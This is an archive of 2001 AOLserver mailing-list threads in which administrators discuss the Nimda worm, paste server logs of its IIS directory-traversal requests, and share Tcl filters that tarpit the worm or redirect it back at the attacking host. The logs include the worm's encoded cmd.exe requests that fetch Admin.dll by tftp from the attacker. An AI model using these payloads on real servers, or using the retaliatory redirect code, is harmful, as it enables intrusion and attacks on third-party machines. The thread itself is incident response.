[AOLSERVER] Any problem with more than 5000 RW locks ?
Hello , I'm developing a warehouse application with aolserver that will define over 5000 read-write locks from the beggining for a database with 5000 products. I have tried and it seems it works. Is there any problem that could appear? Is there any other method in order to define a fine-grained read-write lock? I am using product based lock in order to prevent concurent execution of various complicated procedures that change some memory resident lists containing the available stock for different products. Please, Cc: to [EMAIL PROTECTED] Thanks, Constantin Teodorescu Braila, ROMANIA
Re: [AOLSERVER] Code Rainbow attacks
Jim Wilcoxson wrote:
>
> Here's another version:
I was thinking you might also need a trace filter break.
I placed the following script in the private tcl/init.tcl file, to
ensure that it is the first filter that runs, however, it seems that
the rp_filter is still executing at least to run ad_permission on the
script location
and to run the security procs.
Anyone have a line on how to get this filter registered first?
Here is my version using nsv_* instead of ns_share.
##
# NIMBA FILTER
ns_log Notice "Loading Nimba filter"
nsv_set nimda conns 0
nsv_set nimda max 10
nsv_set nimda count 0
proc nimda {conn ignore} {
global breaktrace
set breaktrace 1
set req [ns_conn request]
set reqlist [split $req " "]
set url [lindex $reqlist 1]
set host [ns_conn peeraddr]
nsv_incr nimda count
if {[nsv_get nimda conns] < [nsv_get nimda max]} {
nsv_incr nimda conns
ns_sleep 60
nsv_incr nimda conns -1
}
ns_returnredirect http://$host$url
return filter_return
}
proc nimda_breaktrace {conn ignore} {
global breaktrace
if {[info exists breaktrace] && $breaktrace == 1} {
ns_log Notice "Nimba BreakTrace total: [nsv_get nimda count]
[ns_conn peeraddr]"
return filter_return
}
return filter_ok
}
# NIMBA FILTER
##
ns_register_filter preauth GET /scripts/* nimda
ns_register_filter trace GET /scripts/* nimda_breaktrace
--Tom Jackson
Re: [AOLSERVER] Code Rainbow attacks
It appears that delaying this worm on one system is effective, but it is multi-threaded to some extent because a single attacker is simultaneously attacking a couple of our machines. I have 3 "in jail" on one server, 7 on another, and 3 on another... Jim > The attack code isn't multi-threaded: if you delay it, it doesn't issue > subsequent requests until you release it.
Re: [AOLSERVER] Code Rainbow attacks
Here's another version:
http://www.rubylane.com/public/nimda.tcl.txt
This adds a 60-second delay before the redirect and has a maximum # of
connections that will be "held up" on your server. I have our server
set to hold up to 10 attackers. Once this limit is exceeded the
redirect is issued immediately to subsequent attackers.
The attack code isn't multi-threaded: if you delay it, it doesn't issue
subsequent requests until you release it.
Jim
>
> The web server will respond with some amount of traffic. I'd imagine the
> 302 redirect response would be shorter, overall, than a 404 response with
> a "not found" page--especially if the site has a custom 404 page.
>
> If the worm actually follows the redirect it will end up talking to itself
> and, hence, won't generate any additional Internet traffic.
>
> I am using:
>
> ns_register_proc GET /*.exe nimda_worm
> ns_register_proc POST /*.exe nimda_worm
> ns_register_proc HEAD /*.exe nimda_worm
>
> proc nimda_worm {} {
> set ip [ns_conn peeraddr]
> set url http://$ip/[ns_conn url]?[ns_conn query]
> ns_log warning "Probable Nimda Worm Detected from $ip, redirecting to $url"
> ns_returnredirect $url
> }
>
> On Tue, 18 Sep 2001, Chuck Kimber wrote:
>
> > The problem with doing this is that this thing is already causing DoS
> > symptoms on the internet due to the massive amount of traffic it is causing.
> > Returning it will only double network traffic. Are you sure you want to add
> > to the problem?
>
Re: [AOLSERVER] Code Rainbow attacks
The web server will respond with some amount of traffic. I'd imagine the
302 redirect response would be shorter, overall, than a 404 response with
a "not found" page--especially if the site has a custom 404 page.
If the worm actually follows the redirect it will end up talking to itself
and, hence, won't generate any additional Internet traffic.
I am using:
ns_register_proc GET /*.exe nimda_worm
ns_register_proc POST /*.exe nimda_worm
ns_register_proc HEAD /*.exe nimda_worm
proc nimda_worm {} {
set ip [ns_conn peeraddr]
set url http://$ip/[ns_conn url]?[ns_conn query]
ns_log warning "Probable Nimda Worm Detected from $ip, redirecting to $url"
ns_returnredirect $url
}
On Tue, 18 Sep 2001, Chuck Kimber wrote:
> The problem with doing this is that this thing is already causing DoS
> symptoms on the internet due to the massive amount of traffic it is causing.
> Returning it will only double network traffic. Are you sure you want to add
> to the problem?
Re: [AOLSERVER] Code Rainbow attacks
No, not sure that returning a redirect is a good thing. Someone would
need to verify that this does in fact disable the thing.
A better option might be to add a 5-second delay before the redirect.
The time delay would depend on how often you are getting hit, how
many connections you can afford to tie-up on your server, and whether
the attacking code is multi-threaded or single threaded.
If all servers just hung onto the attacker for a while, it would slow
down the attack (I think).
Jim
>
> The problem with doing this is that this thing is already causing DoS
> symptoms on the internet due to the massive amount of traffic it is causing.
> Returning it will only double network traffic. Are you sure you want to add
> to the problem?
>
> Chuck
>
> -Original Message-
> From: AOLserver Discussion [mailto:[EMAIL PROTECTED]]On Behalf
> Of Jim Wilcoxson
> Sent: Tuesday, September 18, 2001 1:14 PM
> To: [EMAIL PROTECTED]
> Subject: Re: [AOLSERVER] Code Rainbow attacks
>
>
> Try installing this in your modules/tcl directory:
>
> # procedure to reflect nimda virus calls to (maybe) crash the attacker
> instead
> ns_log notice "loading nimda.tcl"
> ns_register_filter preauth GET /scripts/* nimda
> proc nimda {conn ignore} {
> set req [ns_conn request]
> set reqlist [split $req " "]
> set url [lindex $reqlist 1]
> set host [ns_conn peeraddr]
> ns_returnredirect http://$host$url
> return
> }
> ns_log notice "nimda.tcl loaded"
>
> Also available at http://www.rubylane.com/public/nimda.tcl.txt
>
> It tells the attacker to attack himself. Not sure if it'll follow the
> redirect, but it's worth a shot.
>
> Jim
>
> >
> > And still more information is at
> >
> http://www.infoworld.com/articles/hn/xml/01/09/18/010918hnworm.xml?0918alert
> >
>
Re: [AOLSERVER] Code Rainbow attacks
It wouldn't double network traffic, as the virus would be attacking the local
host. With any luck the attacking hosts will DoS themselves, saving the rest of
us the trouble.
Almost makes me want to preemptively strike any IIS host *I* run across. Sigh.
Chuck Kimber wrote:
> The problem with doing this is that this thing is already causing DoS
> symptoms on the internet due to the massive amount of traffic it is causing.
> Returning it will only double network traffic. Are you sure you want to add
> to the problem?
>
> Chuck
>
> -Original Message-
> From: AOLserver Discussion [mailto:[EMAIL PROTECTED]]On Behalf
> Of Jim Wilcoxson
> Sent: Tuesday, September 18, 2001 1:14 PM
> To: [EMAIL PROTECTED]
> Subject: Re: [AOLSERVER] Code Rainbow attacks
>
> Try installing this in your modules/tcl directory:
>
> # procedure to reflect nimda virus calls to (maybe) crash the attacker
> instead
> ns_log notice "loading nimda.tcl"
> ns_register_filter preauth GET /scripts/* nimda
> proc nimda {conn ignore} {
> set req [ns_conn request]
> set reqlist [split $req " "]
> set url [lindex $reqlist 1]
> set host [ns_conn peeraddr]
> ns_returnredirect http://$host$url
> return
> }
> ns_log notice "nimda.tcl loaded"
>
> Also available at http://www.rubylane.com/public/nimda.tcl.txt
>
> It tells the attacker to attack himself. Not sure if it'll follow the
> redirect, but it's worth a shot.
>
> Jim
>
> >
> > And still more information is at
> >
> http://www.infoworld.com/articles/hn/xml/01/09/18/010918hnworm.xml?0918alert
> >
Re: [AOLSERVER] Code Rainbow attacks
The problem with doing this is that this thing is already causing DoS
symptoms on the internet due to the massive amount of traffic it is causing.
Returning it will only double network traffic. Are you sure you want to add
to the problem?
Chuck
-Original Message-
From: AOLserver Discussion [mailto:[EMAIL PROTECTED]]On Behalf
Of Jim Wilcoxson
Sent: Tuesday, September 18, 2001 1:14 PM
To: [EMAIL PROTECTED]
Subject: Re: [AOLSERVER] Code Rainbow attacks
Try installing this in your modules/tcl directory:
# procedure to reflect nimda virus calls to (maybe) crash the attacker
instead
ns_log notice "loading nimda.tcl"
ns_register_filter preauth GET /scripts/* nimda
proc nimda {conn ignore} {
set req [ns_conn request]
set reqlist [split $req " "]
set url [lindex $reqlist 1]
set host [ns_conn peeraddr]
ns_returnredirect http://$host$url
return
}
ns_log notice "nimda.tcl loaded"
Also available at http://www.rubylane.com/public/nimda.tcl.txt
It tells the attacker to attack himself. Not sure if it'll follow the
redirect, but it's worth a shot.
Jim
>
> And still more information is at
>
http://www.infoworld.com/articles/hn/xml/01/09/18/010918hnworm.xml?0918alert
>
Re: [AOLSERVER] Code Rainbow attacks
I was thinking: maybe disabling the attacking machine is bad and would
make the situation worse. Although it seems that if the virus already
has control of the attacking machine, disabling it at some point would
be on the agenda anyway...
>
> Oops - has a bug: should be "return filter_return" at the end... -Jim
>
> >
> > Try installing this in your modules/tcl directory:
> >
> > # procedure to reflect nimda virus calls to (maybe) crash the attacker instead
> > ns_log notice "loading nimda.tcl"
> > ns_register_filter preauth GET /scripts/* nimda
> > proc nimda {conn ignore} {
> > set req [ns_conn request]
> > set reqlist [split $req " "]
> > set url [lindex $reqlist 1]
> > set host [ns_conn peeraddr]
> > ns_returnredirect http://$host$url
> > return
> > }
> > ns_log notice "nimda.tcl loaded"
> >
> > Also available at http://www.rubylane.com/public/nimda.tcl.txt
> >
> > It tells the attacker to attack himself. Not sure if it'll follow the
> > redirect, but it's worth a shot.
> >
> > Jim
> >
> > >
> > > And still more information is at
> > > http://www.infoworld.com/articles/hn/xml/01/09/18/010918hnworm.xml?0918alert
> > >
> >
>
Re: [AOLSERVER] Code Rainbow attacks
Oops - has a bug: should be "return filter_return" at the end... -Jim
>
> Try installing this in your modules/tcl directory:
>
> # procedure to reflect nimda virus calls to (maybe) crash the attacker instead
> ns_log notice "loading nimda.tcl"
> ns_register_filter preauth GET /scripts/* nimda
> proc nimda {conn ignore} {
> set req [ns_conn request]
> set reqlist [split $req " "]
> set url [lindex $reqlist 1]
> set host [ns_conn peeraddr]
> ns_returnredirect http://$host$url
> return
> }
> ns_log notice "nimda.tcl loaded"
>
> Also available at http://www.rubylane.com/public/nimda.tcl.txt
>
> It tells the attacker to attack himself. Not sure if it'll follow the
> redirect, but it's worth a shot.
>
> Jim
>
> >
> > And still more information is at
> > http://www.infoworld.com/articles/hn/xml/01/09/18/010918hnworm.xml?0918alert
> >
>
Re: [AOLSERVER] Code Rainbow attacks
Try installing this in your modules/tcl directory:
# procedure to reflect nimda virus calls to (maybe) crash the attacker instead
ns_log notice "loading nimda.tcl"
ns_register_filter preauth GET /scripts/* nimda
proc nimda {conn ignore} {
set req [ns_conn request]
set reqlist [split $req " "]
set url [lindex $reqlist 1]
set host [ns_conn peeraddr]
ns_returnredirect http://$host$url
return
}
ns_log notice "nimda.tcl loaded"
Also available at http://www.rubylane.com/public/nimda.tcl.txt
It tells the attacker to attack himself. Not sure if it'll follow the
redirect, but it's worth a shot.
Jim
>
> And still more information is at
> http://www.infoworld.com/articles/hn/xml/01/09/18/010918hnworm.xml?0918alert
>
Re: [AOLSERVER] Code Rainbow attacks
The 3 systems that hit me were running web servers - I checked. @Home recently added filters to prevent public access to a web server running on port 80. That's really nice. Since this virus appears to enter via email, if it attacks the local web server first, then the attacking host is protected by @Home's filters... I am seeing attacks on my home system behind @Home's port 80 filters, but only from other hosts on my cable network. Jim > > I had a crazy idea: what if we returned a redirect back to their own IP > address with the same URL? Would they attack themselves? > > Or maybe this is coming from Windows PC's that aren't running a web > server at all - just a virus client... > > J >
Re: [AOLSERVER] Code Rainbow attacks
And still more information is at http://www.infoworld.com/articles/hn/xml/01/09/18/010918hnworm.xml?0918alert
Re: [AOLSERVER] Code Rainbow attacks
I had a crazy idea: what if we returned a redirect back to their own IP address with the same URL? Would they attack themselves? Or maybe this is coming from Windows PC's that aren't running a web server at all - just a virus client... J
Re: [AOLSERVER] Code Rainbow attacks
We're getting them too, although little effect other than annoying. More info: http://news.cnet.com/news/0-1003-200-7215349.html?tag=lthd I received an email on the 17th (which I ignored with elm) with these headers: SUBJECT: Program's files, including this X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Outlook Express 5.00.2014.211 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=_NextPart_000_00D8_01FB8DBC.699DBCF0" Content-Transfer-Encoding: 7bit Message-Id: <[EMAIL PROTECTED]> Date: Mon, 17 Sep 2001 11:16:39 -0500 This is a multi-part message in MIME format. --=_NextPart_000_00D8_01FB8DBC.699DBCF0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Must be included without modification. The following files must always be included to constitute a legal version for shareware distribution: mancala ex_87,019 08-07-00 11:26p mancala hl_11,729 08-07-00 11:26p file_id di_ 352 08-07-00 11:26p msvbvm50 dl_ 865,317 05-11-98 8:01p setupexe89,600 01-16-97 12:00a setuplst 6,725 08-07-00 11:26p setup1 ex_73,379 01-16-97 12:00a st5unst ex_37,850 01-16-97 12:00a vb5stkit dl_16,457 01-16-97 12:00a st5unst ex_37,850 01-16-97 12:00a vb5stkit dl_16,457 01-16-97 12:00a comcat dl_10,146 10-31-96 12:00a vendor do_ 4,017 08-07-00 11:26p orderfr_ 1,423 08-07-00 11:26p The final file in this list (order. --=_NextPart_000_00D8_01FB8DBC.699DBCF0 Content-Type: application/octet-stream; name="Msg32.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Msg32.exe" followed by the .exe attachment. Not sure if this is related to the new worm or not. I think while we are working to eliminate terrorism, we should eliminate Microsoft Outlook too -- make the world AND the Internet a safer place! Jim > > Rusty Brooks wrote: > > > > > this is just too annoying. > > Hmm, I seem to be getting thousands of requests as well. > This is definitely different than codered. > > --Tom Jackson >
Re: [AOLSERVER] Code Rainbow attacks
Right. Well, code red just tried one URL. This one checks about a hundred places per attacking host to see if you're vulnerable. It's actually slowing things down on our websites pretty noticably. -- Rusty Brooks : http://www.rustybrooks.org/ Spewing wisdom from every orifice --
Re: [AOLSERVER] Code Rainbow attacks
Rusty Brooks wrote: > > > this is just too annoying. Hmm, I seem to be getting thousands of requests as well. This is definitely different than codered. --Tom Jackson
Re: [AOLSERVER] Code Rainbow attacks
> this is just too annoying. Indeed. Hasn't anyone ever heard of doing a head to see if you're attacking a real IIS server before sending a few hundred requests? Rusty -- Rusty Brooks : http://www.rustybrooks.org/ Spewing wisdom from every orifice --
[AOLSERVER] Code Rainbow attacks
I just went to one of the security web sites and here is what they had in the front page cut A new, malicious worm targeting Microsoft Web servers is in the wild and is frenetically scanning the Internet, security experts said today. Starting this morning, numerous system administrators have observed a dramatic increase in probes from remote systems, according to reports on several mailing lists. The probes, coming sometimes hundreds per minute, appear to be attempting to access several commonly exploited files on sites running Microsoft's IIS. cut this is just too annoying. -- Freddie Mendoza [EMAIL PROTECTED] Search Engine for Cheap Books http://satori.com/cheapbooks
Re: [AOLSERVER] cmd.exe attacks
this is the same thing I emailed about earlier except the attacks I am getting are coming from 216.x.x.x (also same as me) I think this is more deliberate since it cannot be filtered from your routers since you risk cutting yourself off the internet. like you I'm getting more than one every second. like you none yesterday. > > Hmm. I've gotten 10,000 of them *today*. Yesterday, none. > > They're almost all from 66.12.* addresses (verizon dsl in california, same > as me). This is where most of my code red attacks are (still) coming > from, probably because there's a lot of people running IIS who aren't > really even aware of it. > > I'm getting 10-20 hits a second of these attacks... > > Is this just a resurgence of that old hack, or something new? > > Here's a random sampling from the log file: > 66.12.144.187 - - [18/Sep/2001:09:19:50 -0700] "GET >/scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%2066.12.144.187%20GET%20Admin.dll%20c:\Admin.dll > HTTP/1.0" 200 158 "" "" > 66.12.193.108 - - [18/Sep/2001:09:19:51 -0700] "GET >/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 158 "" "" >66.12.144.187 - - [18/Sep/2001:09:19:51 -0700] "GET -- Freddie Mendoza [EMAIL PROTECTED] Search Engine for Cheap Books http://satori.com/cheapbooks
Re: [AOLSERVER] Reloading TCL libraries without restarting AOLserver
Grab Daniels Ns/Admin code at www.scriptkitties.com it lets you do that and live edit a .tcl file.. -- Patrick Spence, Network Administrator Information System Dept. 2401 South 24th Street, Phoenix, AZ 85034 [EMAIL PROTECTED] - http://www.vitamist.com - Original Message - From: "Brian Fenton" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Sent: Tuesday, September 18, 2001 8:45 AM Subject: [AOLSERVER] Reloading TCL libraries without restarting AOLserver > Hi, > I've looked at the documentation and the mailing list archives and > have had no luck with this. > My question is: > if I add or change a TCL library procedure (in the /tcl directory next to > the pageroot), is there a way to force AOLserver to source it without a > restart? > > Thanks! > > regards, > Brian
[AOLSERVER] cmd.exe attacks
Hmm. I've gotten 10,000 of them *today*. Yesterday, none. They're almost all from 66.12.* addresses (verizon dsl in california, same as me). This is where most of my code red attacks are (still) coming from, probably because there's a lot of people running IIS who aren't really even aware of it. I'm getting 10-20 hits a second of these attacks... Is this just a resurgence of that old hack, or something new? Here's a random sampling from the log file: 66.12.144.187 - - [18/Sep/2001:09:19:50 -0700] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%2066.12.144.187%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 200 158 "" "" 66.12.193.108 - - [18/Sep/2001:09:19:51 -0700] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 158 "" "" 66.12.144.187 - - [18/Sep/2001:09:19:51 -0700] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%2066.12.144.187%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 200 158 "" "" 66.12.193.108 - - [18/Sep/2001:09:19:51 -0700] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%2066.12.193.108%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 200 158 "" "" 66.12.193.108 - - [18/Sep/2001:09:19:52 -0700] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%2066.12.193.108%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 200 158 "" "" 66.12.193.108 - - [18/Sep/2001:09:19:52 -0700] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%2066.12.193.108%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 200 158 "" "" 66.12.144.187 - - [18/Sep/2001:09:19:52 -0700] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%2066.12.144.187%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 200 158 "" "" 66.12.193.108 - - [18/Sep/2001:09:19:52 -0700] "GET /scripts/..%252f../Admin.dll HTTP/1.0" 200 158 "" "" 66.12.144.187 - - [18/Sep/2001:09:19:52 -0700] "GET /scripts/..%c0%af../Admin.dll HTTP/1.0" 200 158 "" "" 66.12.106.36 - - [18/Sep/2001:09:19:53 -0700] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%2066.12.106.36%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 200 158 "" "" 66.12.144.187 - - [18/Sep/2001:09:19:53 -0700] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 158 "" "" 66.12.144.187 - - [18/Sep/2001:09:19:54 -0700] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%2066.12.144.187%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 200 158 "" "" 66.12.144.187 - - [18/Sep/2001:09:19:56 -0700] "GET /scripts/..%c1%9c../Admin.dll HTTP/1.0" 200 158 "" "" 66.12.106.36 - - [18/Sep/2001:09:19:57 -0700] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%2066.12.106.36%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 200 158 "" "" 66.12.144.187 - - [18/Sep/2001:09:19:57 -0700] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 158 "" "" 66.12.144.187 - - [18/Sep/2001:09:19:57 -0700] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%2066.12.144.187%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 200 158 "" "" 66.12.144.187 - - [18/Sep/2001:09:19:58 -0700] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%2066.12.144.187%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 200 158 "" "" 66.12.144.187 - - [18/Sep/2001:09:19:59 -0700] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%2066.12.144.187%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 200 158 "" "" 66.12.144.187 - - [18/Sep/2001:09:20:00 -0700] "GET /scripts/..%%35%63../Admin.dll HTTP/1.0" 200 158 "" "" 66.12.144.187 - - [18/Sep/2001:09:20:00 -0700] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 158 "" "" 66.12.144.187 - - [18/Sep/2001:09:20:01 -0700] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%2066.12.144.187%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 200 158 "" "" 66.12.106.36 - - [18/Sep/2001:09:20:01 -0700] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%2066.12.106.36%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 200 158 "" "" 66.12.144.187 - - [18/Sep/2001:09:20:01 -0700] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%2066.12.144.187%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 200 158 "" "" 66.12.144.187 - - [18/Sep/2001:09:20:02 -0700] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%2066.12.144.187%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 200 158 "" "" 66.12.144.187 - - [18/Sep/2001:09:20:02 -0700] "GET /scripts/..%%35c../Admin.dll HTTP/1.0" 200 158 "" "" 66.12.144.187 - - [18/Sep/2001:09:20:03 -0700] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 158 "" "" 66.12.144.187 - - [18/Sep/2001:09:20:03 -0700] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%2066.12.144.187%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 200 158 "" "" 66.12.144.187 - - [18/Sep/2001:09:20:04 -0700] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%2066.12.144.187%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 200 158 "" "" 66.12.144.187 - - [18/Sep/2001:09:20:04 -0700] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%2066.12.144.1
[AOLSERVER] Reloading TCL libraries without restarting AOLserver
Hi, I've looked at the documentation and the mailing list archives and have had no luck with this. My question is: if I add or change a TCL library procedure (in the /tcl directory next to the pageroot), is there a way to force AOLserver to source it without a restart? Thanks! regards, Brian
Re: [AOLSERVER] Not Aolserver specific
it's an iis remote command execution exploit. it worked pretty well, the patch has been out for months, though. dave On Tue, 18 Sep 2001, Freddie Mendoza wrote: > Anyone seen these in their logs lately > > 216.129.13.39 - - [18/Sep/2001:08:20:19 -0500] "GET /c/winnt/system32/cmd.exe?/c+dir >HTTP/1.0" 404 212 "" "" > 216.129.13.39 - - [18/Sep/2001:08:20:20 -0500] "GET /d/winnt/system32/cmd.exe?/c+dir >HTTP/1.0" 404 212 "" "" > 216.95.249.5 - - [18/Sep/2001:08:24:22 -0500] "GET /c/winnt/system32/cmd.exe?/c+dir >HTTP/1.0" 404 212 "" "" > 216.95.249.5 - - [18/Sep/2001:08:24:23 -0500] "GET /d/winnt/system32/cmd.exe?/c+dir >HTTP/1.0" 404 212 "" "" > > > I've seen these every once in a while but today > it comes from alot of different IP addresses and it seem > to mimic the default.ida attacks such that you > see it from all random ip addresses and its every > few seconds. > > I wonder if this is another virus which now executes this > command from servers affected. > > Or could it be someone is IP spoofing and fooling > aolserver to log a different Ip address in the logs? > > > -- > Freddie Mendoza > [EMAIL PROTECTED] > Search Engine for Cheap Books > http://satori.com/cheapbooks > -- Dave Weis "I believe there are more instances of the abridgement [EMAIL PROTECTED] of the freedom of the people by gradual and silent encroachments of those in power than by violent and sudden usurpations."- James Madison
[AOLSERVER] Not Aolserver specific
Anyone seen these in their logs lately 216.129.13.39 - - [18/Sep/2001:08:20:19 -0500] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 212 "" "" 216.129.13.39 - - [18/Sep/2001:08:20:20 -0500] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 212 "" "" 216.95.249.5 - - [18/Sep/2001:08:24:22 -0500] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 212 "" "" 216.95.249.5 - - [18/Sep/2001:08:24:23 -0500] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 212 "" "" I've seen these every once in a while but today it comes from alot of different IP addresses and it seem to mimic the default.ida attacks such that you see it from all random ip addresses and its every few seconds. I wonder if this is another virus which now executes this command from servers affected. Or could it be someone is IP spoofing and fooling aolserver to log a different Ip address in the logs? -- Freddie Mendoza [EMAIL PROTECTED] Search Engine for Cheap Books http://satori.com/cheapbooks
